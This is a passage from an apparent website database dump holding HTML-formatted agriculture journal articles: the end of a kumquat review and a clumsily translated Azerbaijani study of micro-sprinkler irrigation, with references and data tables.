flavor.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">2. Fruit often used to make candies, but in this case, fruits should be left until they lose some of their moisture and acquire richer flavor, the fruits are easily preserved whole in sugar syrup.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">3. Preserved and candied fruit, also, fruits used for marmalade and jam production.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.6.&nbsp;<span style=\"font-size:10.0pt\">Pests and Diseases</span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Kumquat tree as orchard trees or pot and dooryard may be attacked by most of the common citrus pests and diseases, but, kumquat trees are highly resistant to citrus canker. Root rot is the main disease for kumquat tree, due to excessive irrigation, also, Citrus Gummosis disease affected growth and productivity of kumquat trees, therefore, avoided direct water contact with the trunk of the tree through preparing a small clear ring around the trunk reduce tree infection. Potted kumquats are subject to other pests like mealy bug infestations, also, pots or Containers should have more drainage than normal, air circulation and ventilation are advisable. Aphids, Scales, and mites infected kumquat trees, also, leaf miner attack new flushes.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:14px\"><strong>5. Conclusion</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Kumquat is very delightful tree of family Rutaceae, the fruits are reaching by several nutrients phytochemicals, antioxidant, and fibers, also, kumquat use for horticulture production and as container plant, <span style=\"color:black\">Meiwa fruit is considered the best kumquat for eating fresh, however, Hong k</span>ong kumquat tree is proper for ornamental purpose and it is great as a bonsai plant.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/j.1365-2621.1983.tb05090.x\">Koyasako A, Bernhard RA (1983) Volatile constituents of essential oils of kumquat. J Food Sci 48: 1807-1810.</a> </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3317718/\">Wang YW, Zeng WC, Xu PY, Lan YJ, Zhu RX, et al. (2012) Chemical Composition and Antimicrobial Activity of the Essential Oil of Kumquat (Fortunella crassifolia Swingle) Peel, Int J Mol Sci 13: 3382-3393.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.accessscience.com/content/366600\">Gardner FE (2012) Agricultural Research Service, U.S. Department of Agriculture, Orlando, Florida.</a> </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Abobatta W (2018) Kumquat Tree Golden Orange. </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://floridata.com/Plants/Rutaceae/Fortunella%20spp/503\">https://floridata.com/Plants/Rutaceae/Fortunella%20spp/503</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.growingwithplants.com/2010/12/winter-fruits-kumquats-and-other-asian.html\">http://www.growingwithplants.com/2010/12/winter-fruits-kumquats-and-other-asian.html</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://ecocrop.fao.org/ecocrop/srv/en/cropView?id=1110\">http://ecocrop.fao.org/ecocrop/srv/en/cropView?id=1110</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">United States Department of Agriculture Agricultural Research Service.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://ndb.nal.usda.gov/ndb/search/list?qlookup=09149&amp;format=Full\">https://ndb.nal.usda.gov/ndb/search/list?qlookup=09149&amp;format=Full</a>.</span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/21fceef7.jpg\" style=\"height:247px; width:462px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Fig. 1. </strong>Field Image: Kumquat orchard in Egypt [4].</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/2217b6ea.jpg\" style=\"height:174px; width:395px\" /></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 2: </strong>Nagami fruits.</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><em><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/236762b2.jpg\" style=\"height:213px; width:402px\" /></em></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 3: </strong>Meiwa fruits [5].</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/246a7a52.jpg\" style=\"height:212px; width:425px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/25cfe018.jpg\" style=\"height:204px; width:418px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 4: </strong>Marumi fruits [5].</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/26a1f8a7.jpg\" style=\"height:252px; width:479px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 5:</strong> Hong Kong fruits [6].</span></span></p>\r\n','<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Abobatta WF (2018) Overview of Kumquat tree - management practice and varieties. Open Acc J Agri Res: OAJAR-100005.</span></span></p>\r\n','','1538725463.pdf',NULL,'1538725463.jpg','',0,1,'2018-10-05 13:14:22','2018-10-16 01:22:14',1),(5,35,'20','2018','Improvement of Irrigation Systems, Distributed Land in the Plan in Azerbaijan Through Microwater Technology','Aliyev Zakir Huseyn Oqlu*','Review Article','Improvement-of-Irrigation-Systems-Distributed-Land-in-the-Plan-in-Azerbaijan-Through-Microwater-Technology','Improvement of Irrigation Systems - Distributed Land in the Plan in Azerbaijan Through Microwater Technology','Improvement - of - Irrigation Systems - Distributed Land in the Plan in Azerbaijan Through Microwater Technology','Improvement - of - Irrigation Systems - Distributed - Land - in the Plan in Azerbaijan Through Microwater Technology','<p style=\"text-align:center\"><strong><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\">Open access journal of agriculture research</span></span></strong></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Improvement of Irrigation Systems, Distributed Land in the Plan in Azerbaijan Through Microwater Technology</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Aliyev Zakir Huseyn Oqlu<sup>*</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Institute of Soil Science and Agrochemistry NAS Azerbayijan, Azerbaijan</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>*</sup><strong>Corresponding author: </strong>Aliyev Zakir Huseyn Oqlu, Institute of Soil Science and Agrochemistry NAS Azerbayijan, Azerbaijan. Email: <a href=\"mailto:zakiakademik@mail.ru\">zakiakademik@mail.ru</a> </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Oqlu AZH (2018) Improvement of Irrigation Systems, Distributed Land in the Plan in Azerbaijan Through Microwater Technology. Open Acc J Agri Res: OAJAR-100001. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>22<strong> </strong>August, 2018; <strong>Accepted Date:</strong> 10 September, 2018; <strong>Published Date:</strong> 05 October, 2018</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Abstract</strong></span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The experimental work carried out by us in the objects of study in Shamakhi, the Tartar, Zagatala, Guba and Ganja on irrigation of soybean, sugar beet, maize and tobacco, orchards and a vineyard can give an estimated average the intensity of the rain (mm/min) under irrigation norms 300-500 m<sup>3</sup>/HA, depending on the soil types: Sandy-0.3-0.4, light loamy-0.2-0.3, middle and heavy loam-0.1-0.2. Studies have shown that the wide production verification of this irrigation technology, taking into account the recommended intensity of rain, will clarify the technical-economic indicators and conditions for the use of micro-irrigation. As a result of the adjustment of irrigation regime, it was found that under irrigation norms 300-420 m<sup>3</sup>/ha of soil soaking on insignificant depth (20-30, sometimes 40 cm). Low speed absorption of topsoil and large biases have provided significant surface relief (30%), increasing from irrigation to glaze. soil moisture Increase was only 100-300 m<sup>3</sup>/ha.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"font-size:16px\">Keywords</span>:</strong><strong> </strong>Furrow; Irrigated; Irrigation Norm; Moisture-Holding Capacity; Root System; The Speed of Absorption</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><strong>Description</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The main requirement for artificial sprinkling is the creation of rain with an intensity not exceeding the speed of absorption of water. Various factors significantly affect both the choice of method of irrigation, and irrigation equipment. One and the same factor may be significant in one way and not have the special meaning otherwise. Despite this, all of these factors and conditions are closely interact with each other.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">At the site in the village of Malham Shamakha district of the Azerbaijani Republic conducted a study mikro-sprinkling irrigation system on medium and large slopes in deep groundwater level. There were studied the effects of watering fruit trees sprinkle apparatus type IDAD on territory of skilled plot MEI Sri &quot;erosion and irrigation MINISTRY OF AGRICULTURE of the Azerbaijan Republic with an area of 4.82 HA, as well as on the territory of Ganja RACN in PIC. Bagmanly with an area of 1.45 hectares during the period 2004-2007 BC. in irrigated light-chestnut soils with extreme moisture capacity 3000-3100 m<sup>3</sup>/ha and grey soils with deep groundwater occurrence on the Alazani Valley in Zakatala district between 2004-2006 BC. Conducted 99 irrigations (500-650 m<sup>3</sup>/ha) with irrigation norm 1890 m<sup>3</sup>/ha. Only the top layer of soil is humid (28-30) [1-4].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In mid-July, the humidity 30 cm soil layer was reduced to 40% (OPV), and at the beginning of September to 40-60% (in metre layer), resulting in under drying and reduce crop silage corn and winter wheat. On the control plot (five irrigations on furrow with irrigation norm of about 16 000 m<sup>3</sup>/HA) moisture was 80-100% PPV. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">As a result of the study, it is recommended to optimize the irrigation norm, the amount of irrigation and the reduction of the inter-field periods; pointed out the desirability of sprinkling with the use of design of various modifications of micro-absorption in areas where this irrigation furrow was difficult, and sometimes impossible [2,5,4].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Sri &quot;Erosion and irrigation&raquo; MA AR with participation of the author continued experiments on irrigation apparatus IDAD, etc. modifications of mikro- irrigation equipment of various kinds of crops on the newly reclaimed rainfed lands, i.e. in the example of research objects, which were laid on the study of experiences for the development of irrigated agriculture in mining areas; Guba-Khachmaz, Ganja-Gazakh, Karabakh, Shirvan, Sheki-Zagatala and others. regions of the republic. It should be noted that in the areas of the experiment, soil-deformed, Loeboursky, loamy (gray), etc. With different characteristics of the soil. In all these areas, the experiment investigated the depth of groundwater. In this case, it is planned to increase the density of plants and not to conduct between the rows of processing.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">On site research, selected &quot;posting area with more close-knit plantlets, the total area of 4.82 ha, located in the District of RANN Guba MEI Lips (see Table 1).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For vegetation period, irrigation 94 was held with the estimated irrigation norm 4590 m<sup>3</sup>/ha, that did not provide normal soaking the soil. Height of plants of fruit trees (about 5.0 cm) and area on a path of wetting (8-11 m<sup>2</sup>) that was lower than the irrigation by furrows [2,6]. The root system has spread in a layer to a depth of 2.0 -3.0, and when the channels selected watering-in a layer deeper than 3.0 m.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Hydration of this small area was uneven, and the Apple tree yields more wet areas in Guba region amounted to 210.9 center/ha and 189 kg/ha at Ganja RCAN and the withered accordingly 147.3 and 113.9 kg/ha [2]. The absence of crop treatments with narrowed spacing resulted in severe soil compaction and water permeability reduction, increased surface runoff when watering. The increase in density of standing has not had a significant impact on the oppression of the weeds. The development and growth of fruit (apples, pears, peaches, persimmons, etc.) trees were soil relative humidity 20-40%, wetting does not exceed 25 cm. Later in the Republic mikro-irrigation IDAD type system and others, proposed to the serial production, nowhere else for sprinkling is not tested.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Originally in 2003. We chose an experienced pilot plot on the territory of Guba district in MEI RCAN Lips, on the foothills of Sahdag, with a total area of 2.8 hectares, and MEI Ganja RCAN PIC. Bagmanly with an area of 1.45 hectares [4,6,7]. The soil of these middle massive arrays (30-40 cm), biases more -0.02 -0.025. Carrying out irrigations on furrows is difficult, due to the difficult terrain of the territory. So here was planned sprinkler irrigation with small norms using various modifications and micro-sprinklers IDAD. Water supply for irrigation of these sites was carried out from the hydrants, established through 85,120,200. As a result of the adjustment of irrigation regime, it was found that under irrigation norms 300-420 m<sup>3</sup>/ha of soil promachivaetsja on insignificant depth (20-30, sometimes 40 cm). Low speed absorption of topsoil and large biases have provided significant surface relief (30%), increasing from irrigation to glaze. soil moisture Increase was only 100-300 m<sup>3</sup>/HA. Small irrigation standards require private irrigation (via 5-6). Submission of large irrigation norms (600-700 m<sup>3</sup>/ha or more) is difficult because of the intensity of rain (2-3 mm/min) and speed of absorption of water into the soil [2,8,9].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Large drops of rain destroy soil structure, and the upper 2-3 cm burrow; the speed of absorption is reduced, causing a superficial reset. Then skilled plot was organized in micro-sprinklers area of 1.5 hectares for irrigation of soybean, sugar beet, silage corn, fruit trees, on the territory of the AIA Sri &quot;Farming&quot; Terter district with an area of 1.5 hectares. Soil section (with a total area of over 30 hectares)-medium loam, biases of 0.005 (Figure 1).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">And so, in 2004, have been implemented with glazes irrigation norm 3700-4200 m<sup>3</sup>/ha (irrigation norms from 350 to 550 m<sup>3</sup>/ha). Humidity in the 60 cm did not fall below 60% of the SWP, and post-irrigation was 80-90%, PPV. Promachivanie soil was no more than 30-50 cm (most of the water is 20 cm layer). Yield was 14-17 kg/ha. In 2005, on top of the 0.6-hectare plot was held late spring irrigation (groundwater level here was deep, and the rest of the plot ranged from 2 to 6.5 m) [6].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Soil moisture reserves were insufficient to get germination, so Peres was held in mid-May after spending Preplan watering norm 250-300 m<sup>3</sup>/ha.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Study on dozhdevaniju at the site showed that the intensity of the rain at IDAD (3 mm/min) more speed the absorption of water into the soil study. Therefore, when submitting a 500 m<sup>3</sup>/HA formed puddles and surface onto the object. Reset amounted 20-30%, resulting in uneven wetting. In the beginning of vegetation due to timely treatments surface declined reset (until 8-10). When processing of crops ceased, reset again reached 16-17%. Promachivanie soil when watering does not exceed 30-60 cm. More promachivanie and better moisture uniformity in these conditions is achieved under irrigation norms more than 300-400 m<sup>3</sup>/ha. When such rules about 60-70% of water remains in the top bar (20 cm) layer, and the plants are not totally moisture [1,10,11].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Observed disadvantages sprinkling apparatus IDAD, when availability of irrigation network, impassable for the mechanisms in soil treatment. In doing so, found that sprinklers and roads along them occupy 6% of the area; water loss in sprinklers in Guba RCAN amounted 25-30% at 1 km and in Terter AIA -15% [2,3]. The distribution of water in the micro-irrigation is shown in Table 2.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">While the greatest losses occurred in the discharge and evaporation. Balance of water when sprinkling the plots presented in Table 3. Irrigation norms for different soils and slopes where runoff begins, are shown in the table..4.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">According to B.H.Aliyeva, Surface discharge to the zone of the Guba RKNN, when the irrigation sabers of apple experimental sites are up to August 7-8% and 20% in August, which is confirmed by the results of studies submitted in 2005-2009 years. It should be noted that the results of the study in the Terter region on small slopes and fertile soils, where the annual leveling of the margin, after feeding 350-400 m3 / ha on the surface of the fields, puddles appear [1,2,4,10].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Small irrigation norms (prior to the formation of runoff) required a large number of irrigations. So, in Shamakhi district in experiments conducted by OJeB Menia Shemakha Erosion and irrigation (4.8 hectares) on heavy soils in deep groundwater occurrence at the same norm (7000-7500 m<sup>3</sup>/ha), the number of irrigations mikro- sprinkler (42-53) has been significantly more than crop furrow (6-8). To combat the crust and seal required to dramatically increase the number of between rows treatments (up to 10), which prevented the complete destruction of the Peel around the stem. Shallow and uneven soil wetting and untimely processing of crops led when sprinkling a marked reduction of the harvest [2,12].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Production mikro- sprinkler experiments were carried out on the territory of Zakatali district. Re-equip IDAD type tests, and the MDP, we found that groundwater level in deep and complex relief application on tobacco irrigation IDAD, corn, Apple tree, etc. more promising than others, the dominant traditional methods of irrigation [2,7]. The test results confirmed that, to reduce the intensity of rain on a rain showerhead apparatus desirable installation of special nozzles for sprinkling vibratory to 40-50 m range and additional supplements for regulation device layer rain, contributing to the SAP pressure port of the pump.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">All this made it possible to reduce the intensity of the rain and give irrigation norms 600-700 m<sup>3</sup>/ha (where the daily mode) without significant surface relief and soil erosion. These activities can reduce runoff, but it reduces crop productivity. However, difficult and device sprinklers with greater intensity of water within 800-1000 m<sup>3</sup>/ha, which require considerable planning work. Proposed by nozzles installed at the sprinkler unit IDAD, have a relatively low intensity rain, because of the desire to create a microclimate on plants with low water consumption and limited irrigation geometry plot [2]. Experience shows that with increasing working width could reduce the intensity of rain, while maintaining productivity.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The experimental work carried out by us in the objects of study in Shamakhi, the Tartar, Zagatala, Guba and Ganja on irrigation of soybean, sugar beet, maize and tobacco, allow you to give an estimated average intensity of rain (mm/min) under irrigation standards of 300-500 m<sup>3</sup>/ha depending on soil: Sandy-0.3-0.4, light loamy-0.2-0.3, middle and heavy loam-0.1-0.2. Studies have shown that extensive production verification of this irrigation technology, taking into account the recommended intensity of rain, will clarify the technical-economical indicators and conditions for the use of micro-irrigation [4,10]. The study found that the discrepancy in the intensity of rain water into the soil absorption speed, education and surface soil erosion, uneven and shallow soaking , imperfection of open irrigation network in surface irrigation, the need for different ways of watering during the vegetative and outside the vegetative periods, low coefficient of land use, the high cost of irrigation and other features are, to a certain extent, in contradiction with the requirements for agricultural irrigation technique for arable crops in the zone of deep groundwater [2,5,6].</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The analysis showed that irrigation with micro-irrigation could also find distribution in the context of a close non-saline groundwater depth. In deep groundwater, level can achieve high yields of crops, however, techno-economic indicators at this level of development and re-equip the existing socio-economic living conditions of farmers, etc. farms are less favorable compared with surface irrigation by furrows [2,10]. Further improvement of sprinkling with higher technical and economic indicators might expand irrigated area micro-irrigation to irrigated agriculture mining conditions in the Republic [13,14].</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Alekperov KA (1980) Soil-erosion map in land protection. Moscow.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Aliyev BH (2000) The problem of erosion in Azerbaijan and ways of its solution. Baku: ZIMA -CPI &quot;Nurlan: 122.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Armand DL (1956) Anthropogenic erosion processes. In the book. &quot;Agriculture and combating erosion, ed. An SSSR, Moscow.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Zaslavsky NM (1983) Erosion science. &quot;high school&quot;.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Babayeva KM (1995) Influence of simple and complex mineral fertilizers and planting alfalfa on fertility restoration of eroded soils of the Southeastern slope of the Greater Caucasus. AVT. Dees. Baku.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Guseinov AA (1991) Effectiveness of surface improvement of eroded pastureland. All-Union Conference. Dushanbe: 1.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">lavsky NM (1969) To the draft classification of soils in powers of erosion. Sat. &quot;materials by the method of soil-erosion mapping erosive events. Moscow.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Gssgeym AA (1948) Vegetation of the Caucasus. IZD-vo &laquo;Moscow society of naturalists, Moscow.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Ibrahimov AA (2000) Agri-environmental peculiarity of eroded soils of Azerbaijan.Materials for the study of the processes of erosion and irrigation and soil conservation in Azerbaijan. Baku.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Aliyev BH, Desertification in Azerbaijan solutions, &quot;Zia-Baku, Nurlan.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Aliyev GA (1959) The Soil of Azerbaijan. IZD-vo Volobuev V.r. &quot;. Azeri. The USSR &quot;page. 122. </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Ibrahimov, Mapping of eroded soils on agricultural lands, for example, Dashkesan district of Azerbaijan. The USSR.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Bennett HH (1958) Basis for soil protection (translated from English).</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Ibragimov&nbsp; (1972) Mapping of eroded soils on agricultural economic land (for example, Dashkesan district of Azerbaijan SSR). Issues of methodology for land cover mapping erosive. Moscow. </span></li>\r\n</ol>\r\n','','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Oqlu AZH (2018) Improvement of Irrigation Systems, Distributed Land in the Plan in Azerbaijan Through Microwater Technology. Open Acc J Agri Res: OAJAR-100001. </span></p>\r\n','<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"border-collapse:collapse; border:solid windowtext 1.0pt; width:395.25pt\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:white\">Options</span></span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:white\">Width</span></span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:white\">Density of standing</span></span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:81.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:132.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">row spacing, cm</span></p>\r\n			</td>\r\n			<td style=\"width:181.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">plants, thous. PC s/ha</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:81.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">(I)</span></p>\r\n			</td>\r\n			<td style=\"width:132.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4.5 -5.0</span></p>\r\n			</td>\r\n			<td style=\"width:181.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">198</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:81.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">(II)</span></p>\r\n			</td>\r\n			<td style=\"width:132.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2.8 -3.0</span></p>\r\n			</td>\r\n			<td style=\"width:181.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">280</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:81.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">(III)</span></p>\r\n			</td>\r\n			<td style=\"width:132.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2.2 -2.5</span></p>\r\n			</td>\r\n			<td style=\"width:181.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">383</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n</div>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 1: </strong>Posting area with more close-knit plantlets, the total area of 4.82 ha.</span></span></p>\r\n\r\n<div>\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"border-collapse:collapse; border:solid windowtext 1.0pt; width:506.0pt\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:white\">Indicators</span></strong></span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:white\">&quot;Guba RACS&quot;</span></strong></span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:white\">&quot;Terter RACS&quot;</span></strong></span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:white\">&ldquo;Gyandja&rdquo;RACS</span></strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:141.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Type of soil</span></p>\r\n			</td>\r\n			<td style=\"width:77.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Loess-like loam</span></p>\r\n			</td>\r\n			<td style=\"width:179.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Galechnikovo-shhebenchatye (low-power)</span></p>\r\n			</td>\r\n			<td style=\"width:109.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Loess-like loam</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:141.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Maximum field moisture capacity, m3/ha (SWP)</span></p>\r\n			</td>\r\n			